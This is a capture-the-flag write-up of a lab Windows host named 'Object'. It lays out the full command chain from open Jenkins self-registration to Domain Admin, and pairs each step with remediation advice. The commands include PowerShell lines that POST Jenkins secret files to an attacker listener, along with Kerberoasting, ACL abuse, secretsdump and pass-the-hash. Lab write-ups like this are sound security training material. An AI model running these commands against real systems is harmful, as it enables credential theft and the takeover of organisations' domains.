Object
Summary
I discovered an internet-facing Jenkins automation controller on TCP 8080 whose self-registration was open to the public. A registered account was used to create a Freestyle build job configured with a remote-trigger API token, enabling code execution on the Windows host as domain user OLIVER with no further authentication.
A host-based firewall blocked all shell callbacks, so the build's Windows Batch step exfiltrated Jenkins' three encrypted credential files — master.key, hudson.util.Secret, and credentials.xml — by POSTing their Base64-encoded contents over HTTP to my listener. Offline decryption of those files, which use fully reversible AES-128-CBC, recovered OLIVER's Active Directory password.
BloodHound enumeration as Oliver then revealed a three-hop ACL privilege chain: Oliver held ForceChangePassword over Smith, Smith held GenericWrite over Maria, and Maria held WriteOwner over the Domain Admins group. I walked each hop in sequence — resetting Smith's password, writing a fake Service Principal Name onto Maria via Smith's GenericWrite right to make her Kerberoastable, cracking the resulting TGS ticket offline to recover Maria's plaintext password and read user.txt, then using Maria's WriteOwner right to claim ownership of Domain Admins, grant myself full control over the group object, and add myself as a member — achieving Domain Administrator and full Active Directory compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"
export PASSWORD5="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -sCV -p 80,5985,8080 $TARGETecho "$TARGET object.htb" | sudo tee -a /etc/hostscurl -s http://object.htb:8080/signupFixDisable Jenkins self-registration and enforce authenticated, least-privilege accessCritical
Exact commands 4
curl -s http://object.htb:8080/crumbIssuer/api/json | python3 -c "import sys,json; d=json.load(sys.stdin); print(d['crumb'])"curl -s -c cookies.txt -b cookies.txt -X POST 'http://object.htb:8080/createItem?name=codex-rce&mode=hudson.model.FreeStyleProject' -H 'Jenkins-Crumb: <crumb>' -H 'Content-Type: application/x-www-form-urlencoded'curl -sS -u 'codex166:$PASSWORD2' 'http://object.htb:8080/job/codex-rce/build?token=$PASSWORD5'curl -sS -u 'codex166:$PASSWORD2' http://object.htb:8080/job/codex-rce/lastBuild/consoleTextExact commands 4
python3 -m http.server 8888powershell -c "Invoke-WebRequest -Uri http://$ATTACKER_IP:8888/mk -Method POST -Body ([Convert]::ToBase64String([IO.File]::ReadAllBytes('%USERPROFILE%\AppData\Local\Jenkins\.jenkins\secrets\master.key')))"powershell -c "Invoke-WebRequest -Uri http://$ATTACKER_IP:8888/hus -Method POST -Body ([Convert]::ToBase64String([IO.File]::ReadAllBytes('%USERPROFILE%\AppData\Local\Jenkins\.jenkins\secrets\hudson.util.Secret')))"powershell -c "Invoke-WebRequest -Uri http://$ATTACKER_IP:8888/cx -Method POST -Body ([Convert]::ToBase64String([IO.File]::ReadAllBytes('%USERPROFILE%\AppData\Local\Jenkins\.jenkins\credentials.xml')))"FixRestrict filesystem access to Jenkins secrets and migrate credentials to an external vaultHigh
Exact commands 2
echo '<base64_mk_blob>' | base64 -d > master.key && echo '<base64_hus_blob>' | base64 -d > hudson.util.Secret && echo '<base64_cx_blob>' | base64 -d > credentials.xmljenkins-credentials-decryptor -m master.key -s hudson.util.Secret -c credentials.xml -o textExact commands 1
bloodhound-python -u oliver -p '<oliver_ad_password>' -d object.local -ns $TARGET -c All --zipExact commands 2
bloodyAD -d object.local -u oliver -p '<oliver_ad_password>' --host $TARGET set password smith '$PASSWORD3'evil-winrm -i $TARGET -u smith -p '$PASSWORD3'FixRemove Oliver's ForceChangePassword delegation over Smith and audit all user-level ACEsHigh
Exact commands 5
bloodyAD -d object.local -u smith -p '$PASSWORD3' --host $TARGET set object maria servicePrincipalName 'fake/maria'bloodyAD -d object.local -u smith -p '$PASSWORD3' --host $TARGET get object maria --attr servicePrincipalNameGetUserSPNs.py object.local/smith:'$PASSWORD3' -dc-ip $TARGET -request -outputfile maria.hashhashcat -m 13100 maria.hash /usr/share/wordlists/rockyou.txtevil-winrm -i $TARGET -u maria -p '<maria_cracked_password>'FixRemove Smith's GenericWrite right on Maria and enforce strong passwords and AES Kerberos on all accountsHigh
Exact commands 5
bloodyAD -d object.local -u maria -p '<maria_cracked_password>' --host $TARGET set owner 'Domain Admins' mariaAdd-DomainObjectAcl -TargetIdentity 'Domain Admins' -PrincipalIdentity maria -Rights All -Verbosenet rpc group addmem "Domain Admins" maria -U 'object.local/maria%<maria_cracked_password>' -S $TARGETsecretsdump.py object.local/maria:'<maria_cracked_password>'@$TARGETevil-winrm -i $TARGET -u Administrator -H '<administrator_ntlm_hash>'FixRemove Maria's WriteOwner right on Domain Admins and audit all privileged group ACLsCritical
Attack patterns used
The transferable techniques behind this compromise.
KerberoastingActive Directory · KerberosT1558.003
What it is
Any authenticated domain user can request a Kerberos service ticket (TGS) for an account that has a Service Principal Name (SPN). Part of that ticket is encrypted with the service account's NTLM hash, so GetUserSPNs.py harvests the tickets and hashcat (mode 13100) cracks them offline to recover the service account password.
Why it works
Service accounts frequently have weak, non-expiring passwords and elevated privileges, and any domain user can request their tickets. Remediate with long random passwords or group Managed Service Accounts (gMSA), and monitor for anomalous TGS requests (event 4769).
Read more
Exposed services
| 80/tcp | http Microsoft IIS httpd 10.0 |
| 5985/tcp | winrm recon-sweep-discovered |
| 8080/tcp | http Jetty 9.4.43.v20210629 |